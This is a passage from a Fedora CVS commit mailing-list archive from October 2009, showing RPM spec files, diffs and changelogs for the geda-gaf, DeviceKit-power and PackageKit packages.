%{__rm} -f gnetlist/tests/common/outputs/switcap/SlottedOpamps-output.net

# rpmlint UTF-8
for f in symbols/{AUTHORS,ChangeLog-1.0} gschem/ChangeLog; do
   iconv -f ISO-8859-1 -t UTF-8 $f > $f.tmp && \
      ( touch -r $f $f.tmp ; %{__mv} -f $f.tmp $f ) || \
      %{__rm} -f $f.tmp
done

# Fixing rpaths
%if "%{_libdir}" != "/usr/lib"
sed -i -e 's|"/lib /usr/lib|"/%{_lib} %{_libdir}|' configure
%endif

%build

%configure  --disable-static
%{__make} %{?_smp_mflags}


%install
%{__rm} -rf %{buildroot}
%{__make} INSTALL="%{_bindir}/install -p" install DESTDIR=%{buildroot}


desktop-file-install --vendor "" \
    --dir %{buildroot}%{_datadir}/applications \
    --delete-original                          \
    %{buildroot}%{_datadir}/applications/geda-gschem.desktop \
    %{buildroot}%{_datadir}/applications/geda-gattrib.desktop 


%{__rm} -f %{buildroot}%{_libdir}/*.la
%{__rm} -f %{buildroot}%{_datadir}/applications/mimeinfo.cache
%{__rm} -f %{buildroot}%{_datadir}/mime/{XMLnamespaces,aliases,generic-icons,globs,globs2,icons,magic,mime.cache,subclasses,treemagic,types}


# locale's
for i in libgeda38 geda-gattrib geda-gschem ; do
    if [ -d %{buildroot}%{_datadir}/locale/ ]; then
        for lang_dir in %{buildroot}%{_datadir}/locale/* ; do
            lang=$(basename $lang_dir)
            if [ -e %{buildroot}%{_datadir}/locale/$lang/LC_MESSAGES/$i.mo ] ; then
                echo "%lang($lang) %{_datadir}/locale/$lang/LC_MESSAGES/$i.mo" >> $i.lang
            fi
        done
    fi
done

install -d %{buildroot}%{_docdir}/%{name}/{examples,gnetlist,gsymcheck,utils}

# gschem
install -pm 644 gschem/examples/*.sch    %{buildroot}%{_docdir}/%{name}/examples
install -pm 644 gschem/examples/README.* %{buildroot}%{_docdir}/%{name}/examples

# gnetlist
%{__cp} -pr gnetlist/tests %{buildroot}%{_docdir}/%{name}/gnetlist
%{__cp} -pr gnetlist/docs/* %{buildroot}%{_docdir}/%{name}/gnetlist
%{__cp} -pr gnetlist/examples/* %{buildroot}%{_docdir}/%{name}/examples
%{__rm} -f %{buildroot}%{_docdir}/%{name}/gnetlist/gnetlist.{1,doc}

# gsymcheck
%{__cp} -pr gsymcheck/tests/ %{buildroot}%{_docdir}/%{name}/gsymcheck

# utils
%{__cp} -pr utils/tests %{buildroot}%{_docdir}/%{name}/utils
%{__cp} -pr utils/examples %{buildroot}%{_docdir}/%{name}/utils

find %{buildroot}%{_docdir} -name 'Makefile*' -exec rm -f '{}' \;


%post -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :

%posttrans -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :


%post -n geda-gschem
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n geda-gschem
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
    update-mime-database %{_datadir}/mime &> /dev/null || :
fi

%posttrans -n geda-gschem
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
update-mime-database %{_datadir}/mime &> /dev/null || :


%post -n geda-gattrib
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :

%postun -n geda-gattrib
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans -n geda-gattrib
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%post -n geda-utils
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :

%postun -n geda-utils
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans -n geda-utils
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%post -n libgeda
/sbin/ldconfig
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n libgeda
/sbin/ldconfig
update-mime-database %{_datadir}/mime &> /dev/null || :

%posttrans -n libgeda
update-mime-database %{_datadir}/mime &> /dev/null || :


%clean
%{__rm} -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc ABOUT-NLS AUTHORS ChangeLog COPYING README NEWS


%files -n libgeda -f libgeda38.lang
%defattr(-,root,root,-)
%doc libgeda/{HACKING,ChangeLog*,BUGS,TODO}
%dir %{_datadir}/gEDA/
%dir %{_datadir}/gEDA/scheme
%{_libdir}/libgeda.so.*
%{_datadir}/gEDA/prolog.ps
%{_datadir}/gEDA/scheme/geda.scm
%{_datadir}/gEDA/system-gafrc
%{_datadir}/mime/packages/libgeda.xml


%files -n libgeda-devel
%defattr(-,root,root,-)
%{_includedir}/libgeda/
%{_libdir}/libgeda.so
%{_libdir}/pkgconfig/libgeda.pc


%files -n geda-symbols
%defattr(-,root,root,-)
%doc symbols/{AUTHORS,ChangeLog*,README,TODO}
%{_datadir}/gEDA/sym/
%dir %{_datadir}/gEDA/gafrc.d/
%{_datadir}/gEDA/gafrc.d/geda-clib.scm
%{_datadir}/mime/application/x-geda-symbol.xml
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-symbol.*


%files -n geda-docs
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}/
%doc %{_docdir}/%{name}/man
%doc %{_docdir}/%{name}/wiki
%doc %{_docdir}/%{name}/examples
%doc %{_docdir}/%{name}/gedadocs.html
%doc %{_docdir}/%{name}/nc.pdf


%files -n geda-gattrib -f geda-gattrib.lang
%defattr(-,root,root,-)
%doc gattrib/design/{gEDA_Structures_updated.png,ProgramArchitecture.gnumeric}
%doc gattrib/{BUGS,ChangeLog*,NOTES,README,ToDos}
%{_bindir}/gattrib
%{_datadir}/gEDA/system-gattribrc
%{_datadir}/gEDA/gattrib-menus.xml
%{_datadir}/applications/geda-gattrib.desktop
%{_datadir}/icons/hicolor/*/apps/geda-gattrib.*


%files -n geda-gnetlist
%defattr(-,root,root,-)
%doc gnetlist/{BUGS,ChangeLog*,TODO}
%doc %{_docdir}/%{name}/gnetlist
%{_bindir}/gnetlist
%{_bindir}/mk_verilog_syms
%{_bindir}/sch2eaglepos.sh
%{_bindir}/sw2asc
%{_datadir}/gEDA/scheme/gnet*.scm
%{_datadir}/gEDA/system-gnetlistrc
%{_mandir}/man1/gnetlist.*


%files -n geda-gschem -f geda-gschem.lang
%defattr(-,root,root,-)
%doc gschem/{BUGS,ChangeLog*,TODO}
%{_bindir}/gschem
%{_bindir}/gschemdoc
%{_datadir}/gEDA/scheme/auto-place-attribs.scm
%{_datadir}/gEDA/scheme/default-attrib-positions.scm
%{_datadir}/gEDA/scheme/image.scm
%{_datadir}/gEDA/scheme/pcb.scm
%{_datadir}/gEDA/scheme/print.scm
%{_datadir}/gEDA/scheme/auto-uref.scm
%{_datadir}/gEDA/scheme/generate_netlist.scm
%{_datadir}/gEDA/scheme/gschem.scm
%{_datadir}/gEDA/scheme/list-keys.scm
%{_datadir}/gEDA/scheme/print-NB-attribs.scm
%{_datadir}/gEDA/bitmap/gschem-*
%{_datadir}/gEDA/system-gschemrc
%{_datadir}/gEDA/gschem-gtkrc
%{_datadir}/gEDA/gschem-colormap-darkbg
%{_datadir}/gEDA/gschem-colormap-lightbg
%{_datadir}/gEDA/print-colormap-darkbg
%{_datadir}/gEDA/print-colormap-lightbg
%{_datadir}/gEDA/scheme/color-map.scm
%{_datadir}/mime/application/x-geda-schematic.xml
%{_datadir}/applications/geda-gschem.desktop
%{_mandir}/man1/gschem.*
%{_datadir}/icons/hicolor/*/apps/geda-gschem.*
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-schematic.*


%files -n geda-gsymcheck
%defattr(-,root,root,-)
%doc gsymcheck/{BUGS,ChangeLog*,TODO}
%doc %{_docdir}/%{name}/gsymcheck
%{_bindir}/gsymcheck
%{_datadir}/gEDA/system-gsymcheckrc
%{_mandir}/man1/gsymcheck.*


%files -n geda-utils
%defattr(-,root,root,-)
%doc utils/{ChangeLog*,README,AUTHORS}
%doc %{_docdir}/%{name}/utils
%doc %{_docdir}/%{name}/readmes/
%{_bindir}/garchive
%{_bindir}/grenum
%{_bindir}/gmk_sym
%{_bindir}/smash_megafile
%{_bindir}/convert_sym
%{_bindir}/sarlacc_schem
%{_bindir}/sarlacc_sym
%{_bindir}/gschupdate
%{_bindir}/gsymfix.pl
%{_bindir}/pcb_backannotate
%{_bindir}/gschlas
%{_bindir}/olib
%{_bindir}/refdes_renum
%{_bindir}/gsch2pcb
%{_bindir}/pads_backannotate
%{_bindir}/tragesym
%{_bindir}/gsymupdate
%{_bindir}/gxyrs
%{_bindir}/gnet_hier_verilog.sh
%{_datadir}/gEDA/system-gschlasrc
%{_mandir}/man1/grenum.1.gz
%{_datadir}/gEDA/perl/lib/gxyrs.pm
%{_datadir}/mime/application/x-geda-gsch2pcb-project.xml
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-gsch2pcb-project.*


%changelog
* Tue Oct  6 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.6.0-1
- new upstream release

* Thu Sep 24 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-2
- Fixed most rpmlints and rpath
- Optimize desktop/icon scriptlets

* Mon Aug 31 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-1
- new development snapshot

* Sun Dec 21 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20081220-1
- new upstream release

* Tue Nov 11 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20080929-1
- New upstream release

* Sat Feb 02 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20080127-1
- New upstream release

* Tue Jan 22 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20071231-1
- New upstream release

* Mon Sep 03 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070902-1
- New upstream release

* Thu Aug 23 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070708-2
- mass rebuild for fedora 8 - ppc32

* Sat Jul 14 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070708-1
- New upstream release

* Tue Jun 27 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070626-1
- new upstream release

* Thu Jun 14 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070526-1
- new upstream release

* Wed Mar 28 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070216-1
- fix ownership of /usr/share/gEDA/docs -  #233792

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20061020-1
- New upstream release

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060906-2
- Rebuilt for FC-6 devel

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060906-1
- Upstream release 20060906

* Tue Sep 05 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060824-2
- Removed unauthorized file : MPEG sequence : favicon

* Tue Sep 05 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060824-1
- Upstream release 20060824

* Mon Aug 28 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060123-3
- rebuilt for FC5 and later with minor fixes



--- NEW FILE import.log ---
geda-gaf-1_6_0-1_fc11:F-10:geda-gaf-1.6.0-1.fc11.src.rpm:1254821752


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 20:11:44 -0000	1.1
+++ .cvsignore	6 Oct 2009 09:36:59 -0000	1.2
@@ -0,0 +1 @@
+geda-gaf-1.6.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 20:11:45 -0000	1.1
+++ sources	6 Oct 2009 09:36:59 -0000	1.2
@@ -0,0 +1 @@
+1dacc71407e69d77eaf4c1115f5bcd56  geda-gaf-1.6.0.tar.gz



From rhughes at fedoraproject.org  Tue Oct  6 09:38:44 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Tue,  6 Oct 2009 09:38:44 +0000 (UTC)
Subject: rpms/DeviceKit-power/devel .cvsignore, 1.16,
	1.17 DeviceKit-power.spec, 1.24, 1.25 sources, 1.16, 1.17
Message-ID: <20091006093844.15AE011C00C1@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/DeviceKit-power/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18136

Modified Files:
	.cvsignore DeviceKit-power.spec sources 
Log Message:
* Tue Oct 06 2009 Richard Hughes <richard at hughsie.com> - 011-1
- Update to 011
- Use voltage_now as a fallback to the design voltage
- Fix a small memory leak when we collect the properties from the interface
  multiple times



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-power/devel/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	14 Sep 2009 10:44:54 -0000	1.16
+++ .cvsignore	6 Oct 2009 09:38:43 -0000	1.17
@@ -1 +1 @@
-DeviceKit-power-011-20090914.tar.gz
+DeviceKit-power-011.tar.gz


Index: DeviceKit-power.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-power/devel/DeviceKit-power.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- DeviceKit-power.spec	14 Sep 2009 10:44:54 -0000	1.24
+++ DeviceKit-power.spec	6 Oct 2009 09:38:43 -0000	1.25
@@ -8,13 +8,13 @@
 Summary: Power Management Service
 Name: DeviceKit-power
 Version: 011
-Release: 0.1.%{?alphatag}git%{?dist}
-#Release: 1%{?dist}
+#Release: 0.1.%{?alphatag}git%{?dist}
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://cgit.freedesktop.org/DeviceKit/DeviceKit-power/
-Source0:   http://hal.freedesktop.org/releases/%{name}-%{version}-%{?alphatag}.tar.gz
-#Source0: http://hal.freedesktop.org/releases/%{name}-%{version}.tar.gz
+#Source0:   http://hal.freedesktop.org/releases/%{name}-%{version}-%{?alphatag}.tar.gz
+Source0: http://hal.freedesktop.org/releases/%{name}-%{version}.tar.gz
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 Requires(post): /sbin/ldconfig
@@ -50,8 +50,8 @@ Requires: %{name} = %{version}-%{release
 Headers and libraries for DeviceKit-power.
 
 %prep
-#%setup -q
-%setup -q -n %{?name}-%{?version}-%{?alphatag}
+%setup -q
+#%setup -q -n %{?name}-%{?version}-%{?alphatag}
 
 %build
 %configure
@@ -109,6 +109,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/DeviceKit-power/devkit-power-gobject/*.h
 
 %changelog
+* Tue Oct 06 2009 Richard Hughes <richard at hughsie.com> - 011-1
+- Update to 011
+- Use voltage_now as a fallback to the design voltage
+- Fix a small memory leak when we collect the properties from the interface
+  multiple times
+
 * Mon Sep 14 2009 Richard Hughes  <rhughes at redhat.com> - 011-0.1.20090914git
 - Update to todays git snapshot to fix the session exploding when a USB UPS is
   inserted then removed a few times.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-power/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	14 Sep 2009 10:44:54 -0000	1.16
+++ sources	6 Oct 2009 09:38:43 -0000	1.17
@@ -1 +1 @@
-3c19e1040d34657a988e8374219cd576  DeviceKit-power-011-20090914.tar.gz
+555a3dd01e581c277ebe9356b7f10617  DeviceKit-power-011.tar.gz



From rhughes at fedoraproject.org  Tue Oct  6 09:40:36 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Tue,  6 Oct 2009 09:40:36 +0000 (UTC)
Subject: rpms/PackageKit/devel .cvsignore, 1.59, 1.60 PackageKit.spec, 1.121,
	1.122 sources, 1.60, 1.61
Message-ID: <20091006094036.BF79211C02A2@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/PackageKit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18607

Modified Files:
	.cvsignore PackageKit.spec sources 
Log Message:
* Mon Oct 05 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.3-1
- Update to 0.5.3.
- Fix double free in pk-gstreamer-install which causes a crash. Fixes #526600
- Exit pk-command-not-found with 127 when we have not run a program. Fixes #527044
- Fix crash in notification daemon under some conditions due to non-resident
  GTK module.
- Don't explicitly download the file lists when using pk-command-not-found



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/PackageKit/devel/.cvsignore,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- .cvsignore	28 Sep 2009 13:36:27 -0000	1.59
+++ .cvsignore	6 Oct 2009 09:40:36 -0000	1.60
@@ -1 +1 @@
-PackageKit-0.5.3-20090928.tar.gz
+PackageKit-0.5.3.tar.gz


Index: PackageKit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PackageKit/devel/PackageKit.spec,v
retrieving revision 1.121
retrieving revision 1.122
diff -u -p -r1.121 -r1.122
--- PackageKit.spec	29 Sep 2009 13:33:08 -0000	1.121
+++ PackageKit.spec	6 Oct 2009 09:40:36 -0000	1.122
@@ -10,13 +10,13 @@
 Summary:   Package management service
 Name:      PackageKit
 Version:   0.5.3
-Release:   0.2.%{?alphatag}git%{?dist}
-#Release:   1%{?dist}
+#Release:   0.2.%{?alphatag}git%{?dist}
+Release:   1%{?dist}
 License:   GPLv2+
 Group:     System Environment/Libraries
 URL:       http://www.packagekit.org
-Source0:   http://www.packagekit.org/releases/%{name}-%{version}-%{?alphatag}.tar.gz
-#Source0:   http://www.packagekit.org/releases/%{name}-%{version}.tar.gz
+#Source0:   http://www.packagekit.org/releases/%{name}-%{version}-%{?alphatag}.tar.gz
+Source0:   http://www.packagekit.org/releases/%{name}-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # Fedora-specific: set Vendor.conf up for Fedora.
@@ -240,8 +240,8 @@ after firmware has been installed by Pac
 user to restart the computer or remove and re-insert the device.
 
 %prep
-%setup -q -n %{?name}-%{?version}-%{?alphatag}
-#%setup -q
+#%setup -q -n %{?name}-%{?version}-%{?alphatag}
+%setup -q
 %patch0 -p1 -b .fedora
 %patch1 -p1 -b .no-time
 
@@ -454,6 +454,14 @@ update-mime-database %{_datadir}/mime &>
 %{_includedir}/PackageKit/backend/*.h
 
 %changelog
+* Mon Oct 05 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.3-1
+- Update to 0.5.3.
+- Fix double free in pk-gstreamer-install which causes a crash. Fixes #526600
+- Exit pk-command-not-found with 127 when we have not run a program. Fixes #527044
+- Fix crash in notification daemon under some conditions due to non-resident
+  GTK module.
+- Don't explicitly download the file lists when using pk-command-not-found
+
 * Tue Sep 29 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.3-0.2.20090928git
 - Do not build smart support on RHEL.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/PackageKit/devel/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	28 Sep 2009 13:36:27 -0000	1.60
+++ sources	6 Oct 2009 09:40:36 -0000	1.61
@@ -1 +1 @@
-c9d457d6a75ea9b376d6541cec210e88  PackageKit-0.5.3-20090928.tar.gz
+cbd7eb264c2536c363dc113eab60def3  PackageKit-0.5.3.tar.gz



From chitlesh at fedoraproject.org  Tue Oct  6 09:42:10 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Tue,  6 Oct 2009 09:42:10 +0000 (UTC)
Subject: rpms/geda-gaf/F-11 geda-gaf.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006094210.E628611C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/geda-gaf/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18866/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	geda-gaf.spec import.log 
Log Message:
1.6.0


--- NEW FILE geda-gaf.spec ---
# As from 1.5, all the submodules of geda-gaf are packaged by upstream into one
# big tarball. This requires a new fedora package review and obsoleting the old 
# geda-* packages fedora was providing, which explains the use of Epoch.

# Date : 31 August 2009, Chitlesh Goorah
%define         snap   20091004

Name:           geda-gaf
Epoch:          1
Version:        1.6.0
Release:        1%{?dist}
Summary:        Design Automation toolkit for electronic design

Group:          Applications/Engineering
License:        GPLv2
URL:            http://www.geda.seul.org
Source0:        http://geda.seul.org/devel/v1.6/%{version}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  desktop-file-utils gettext-devel gawk intltool
BuildRequires:  gd-devel libtool-ltdl-devel shared-mime-info

Requires:       geda-docs      = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gattrib   = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gschem    = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gnetlist  = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gsymcheck = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-utils     = %{?epoch:%{epoch}:}%{version}-%{release}


%description
The GPL Electronic Design Automation (gEDA) project has produced and
continues working on a full GPL'd suite and toolkit of Electronic
Design Automation tools. These tools are used for electrical circuit
design, schematic capture, simulation, prototyping, and production.

Currently, the gEDA project offers a mature suite of free software
applications for electronics design, including schematic capture,
attribute management, bill of materials (BOM) generation, netlisting
into over 20 netlist formats, analog and digital simulation, and
printed circuit board (PCB) layout.


%package      -n  libgeda
Summary:          Libraries for the gEDA project
Group:            Development/Libraries
BuildRequires:    gtk2-devel
BuildRequires:    guile-devel
Requires(post):   /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description  -n  libgeda
This package contains libgeda, the library needed by gEDA applications.


%package      -n  libgeda-devel
Summary:          Development files for the libgeda library
Group:            Development/Libraries
Requires:         libgeda          = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:         gtk2-devel
Requires:         guile-devel
Requires:         pkgconfig

%description  -n  libgeda-devel
Development files for libgeda library


%package      -n  geda-symbols
Summary:          Electronic symbols for gEDA
Group:            Applications/Engineering
BuildArch:        noarch
BuildRequires:    transfig

%description  -n  geda-symbols
This package contains a bunch of symbols of electronic devices
used by gschem, the gEDA project schematic editor.


%package      -n  geda-docs
Summary:          Documentation and Examples for gEDA
Group:            Applications/Engineering
BuildArch:        noarch
Requires:         geda-symbols
Provides:         geda-examples     = %{?epoch:%{epoch}:}%{version}-%{release}
Obsoletes:        geda-examples     < 20090830-2

%description  -n  geda-docs
This package contains documentation and examples for the gEDA project.


%package      -n  geda-gattrib
Summary:          Attribute editor for gEDA
Group:            Applications/Engineering
Requires:         geda-symbols

%description  -n  geda-gattrib
Gattrib is gEDA's attribute editor. It reads a set of gschem .sch files
(schematic files), and creates a spreadsheet showing all components in
rows, with the associated component attributes listed in the columns.
It allows the user to add, modify, or delete component attributes outside
of gschem, and then save the .sch files back out. When it is completed,
it will allow the user to edit attributes attached to components, nets,
and pins. (Currently, only component attribute editing is implemented;
pin attributes are displayed only, and net attributes are TBD.)


%package      -n  geda-gnetlist
Summary:          Netlister for the gEDA project
Group:            Applications/Engineering
BuildRequires:    libstroke-devel
Requires:         geda-symbols

%description  -n  geda-gnetlist
Gnetlist generates netlists from schematics drawn with gschem
(the gEDA schematic editor). Possible output formats are:
- native
- tango
- spice
- allegro
- PCB
- verilog
and others.


%package      -n  geda-gschem
Summary:          Electronics schematics editor
Group:            Applications/Engineering
Requires(pre):    libgeda = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:         geda-symbols
Requires:         geda-docs

%description  -n  geda-gschem
Gschem is an electronics schematic editor. It is part of the gEDA project.


%package      -n  geda-gsymcheck
Summary:          Symbol checker for electronics schematics editor
Group:            Applications/Engineering
Requires:         geda-symbols

%description  -n  geda-gsymcheck
Gsymcheck is a utility to check symbols for gschem.
It is part of the gEDA project.


%package      -n  geda-utils
Summary:          Several utilities for the gEDA project
Group:            Applications/Engineering
Requires:         geda-symbols
%if 0%{?fedora} > 6
BuildRequires:    perl-libs
%endif


%description  -n  geda-utils
Several utilities for the gEDA project.


%prep
%setup -q

# Fixing rpmlints wrong-file-end-of-line-encoding
for f in `find gnetlist/tests -name \*.net -or -name \*.pads | sort` ; do
   echo -n -e "... Fixing the end-of-line encodings of $f  \t"
   sed -i.bak -e 's|\r||g' $f
   touch -r $f.bak $f
   %{__rm} -f $f.bak
   echo "done"
done

# rpmlint zero-length
%{__rm} -f utils/tests/gxyrs/outputs/*-error
%{__rm} -f gnetlist/tests/common/outputs/drc/multiequal-output.net
%{__rm} -f gnetlist/tests/common/outputs/futurenet2/SlottedOpamps-output.net
%{__rm} -f gnetlist/tests/common/outputs/switcap/SlottedOpamps-output.net

# rpmlint UTF-8
for f in symbols/{AUTHORS,ChangeLog-1.0} gschem/ChangeLog; do
   iconv -f ISO-8859-1 -t UTF-8 $f > $f.tmp && \
      ( touch -r $f $f.tmp ; %{__mv} -f $f.tmp $f ) || \
      %{__rm} -f $f.tmp
done

# Fixing rpaths
%if "%{_libdir}" != "/usr/lib"
sed -i -e 's|"/lib /usr/lib|"/%{_lib} %{_libdir}|' configure
%endif

%build

%configure  --disable-static
%{__make} %{?_smp_mflags}


%install
%{__rm} -rf %{buildroot}
%{__make} INSTALL="%{_bindir}/install -p" install DESTDIR=%{buildroot}


desktop-file-install --vendor "" \
    --dir %{buildroot}%{_datadir}/applications \
    --delete-original                          \
    %{buildroot}%{_datadir}/applications/geda-gschem.desktop \
    %{buildroot}%{_datadir}/applications/geda-gattrib.desktop 


%{__rm} -f %{buildroot}%{_libdir}/*.la
%{__rm} -f %{buildroot}%{_datadir}/applications/mimeinfo.cache
%{__rm} -f %{buildroot}%{_datadir}/mime/{XMLnamespaces,aliases,generic-icons,globs,globs2,icons,magic,mime.cache,subclasses,treemagic,types}


# locale's
for i in libgeda38 geda-gattrib geda-gschem ; do
    if [ -d %{buildroot}%{_datadir}/locale/ ]; then
        for lang_dir in %{buildroot}%{_datadir}/locale/* ; do
            lang=$(basename $lang_dir)
            if [ -e %{buildroot}%{_datadir}/locale/$lang/LC_MESSAGES/$i.mo ] ; then
                echo "%lang($lang) %{_datadir}/locale/$lang/LC_MESSAGES/$i.mo" >> $i.lang
            fi
        done
    fi
done

install -d %{buildroot}%{_docdir}/%{name}/{examples,gnetlist,gsymcheck,utils}

# gschem
install -pm 644 gschem/examples/*.sch    %{buildroot}%{_docdir}/%{name}/examples
install -pm 644 gschem/examples/README.* %{buildroot}%{_docdir}/%{name}/examples

# gnetlist
%{__cp} -pr gnetlist/tests %{buildroot}%{_docdir}/%{name}/gnetlist
%{__cp} -pr gnetlist/docs/* %{buildroot}%{_docdir}/%{name}/gnetlist
%{__cp} -pr gnetlist/examples/* %{buildroot}%{_docdir}/%{name}/examples
%{__rm} -f %{buildroot}%{_docdir}/%{name}/gnetlist/gnetlist.{1,doc}

# gsymcheck
%{__cp} -pr gsymcheck/tests/ %{buildroot}%{_docdir}/%{name}/gsymcheck

# utils
%{__cp} -pr utils/tests %{buildroot}%{_docdir}/%{name}/utils
%{__cp} -pr utils/examples %{buildroot}%{_docdir}/%{name}/utils

find %{buildroot}%{_docdir} -name 'Makefile*' -exec rm -f '{}' \;


%post -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :

%posttrans -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :


%post -n geda-gschem
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n geda-gschem
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
    update-mime-database %{_datadir}/mime &> /dev/null || :
fi

%posttrans -n geda-gschem
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
update-mime-database %{_datadir}/mime &> /dev/null || :


%post -n geda-gattrib
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :

%postun -n geda-gattrib
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans -n geda-gattrib
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


